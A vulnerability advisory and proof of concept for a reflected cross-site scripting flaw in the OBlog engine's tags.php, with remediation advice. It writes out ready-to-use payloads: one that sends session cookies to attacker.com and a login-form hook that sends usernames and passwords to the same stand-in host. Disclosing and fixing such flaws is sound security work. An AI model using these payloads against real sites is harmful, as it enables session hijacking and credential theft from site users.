OBlog - Reflected Cross-Site Scripting (XSS) in tags.php

poc_oblog_xss.md

OBlog - Reflected Cross-Site Scripting (XSS) Vulnerability

Vulnerability Overview

• Application: OBlog (ttttonyhe/oblog)
• File: tags.php
• Parameter: tag (GET)
• Type: Reflected XSS
• Discovered by: hackus_man
• Date: 2026-06-16

Description

The OBlog blog engine is vulnerable to a reflected Cross-Site Scripting (XSS) attack. The tag parameter in tags.php is directly echoed into the HTML response without any sanitization, escaping, or validation.

Vulnerable Code

File: tags.php (line ~3)

<h2><?php echo $_GET['tag'] ?></h2>

The parameter is taken directly from the URL and printed without using htmlspecialchars() or any other sanitization function.

Proof of Concept

Step 1: Craft the Malicious URL

http://localhost:8081/tags.php?tag=<script>alert(document.cookie)</script>

Step 2: Execute

When a user visits this link, the JavaScript executes and displays an alert box containing their session cookies.

Advanced Exploitation

Session Stealing Payload

http://localhost:8081/tags.php?tag=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Keylogger / Credential Harvesting

http://localhost:8081/tags.php?tag=<script>document.getElementById('login').addEventListener('submit',function(e){e.preventDefault();fetch('https://attacker.com/log?data='+document.getElementById('username').value+':'+document.getElementById('password').value)})</script>

Impact

• Session Hijacking: Steal session cookies and impersonate users
• Credential Theft: Capture login credentials
• CSRF Bypass: Execute authenticated requests on behalf of users
• Defacement: Modify page content
• Phishing: Redirect users to malicious websites

Remediation

PHP Fix

<h2><?php echo htmlspecialchars($_GET['tag'], ENT_QUOTES, 'UTF-8'); ?></h2>

Secure Alternative

<h2><?php echo strip_tags($_GET['tag']); ?></h2>

Additional Mitigations

• Implement a Content Security Policy (CSP)
• Use a sanitization library like HTML Purifier
• Validate and whitelist allowed characters in tag parameter

References

• OWASP XSS Prevention Cheat Sheet
• Project Repository

Disclosure Timeline

• Discovery: 2026-06-16
• Vendor Contacted: 2026-06-16 via GitHub Issue #2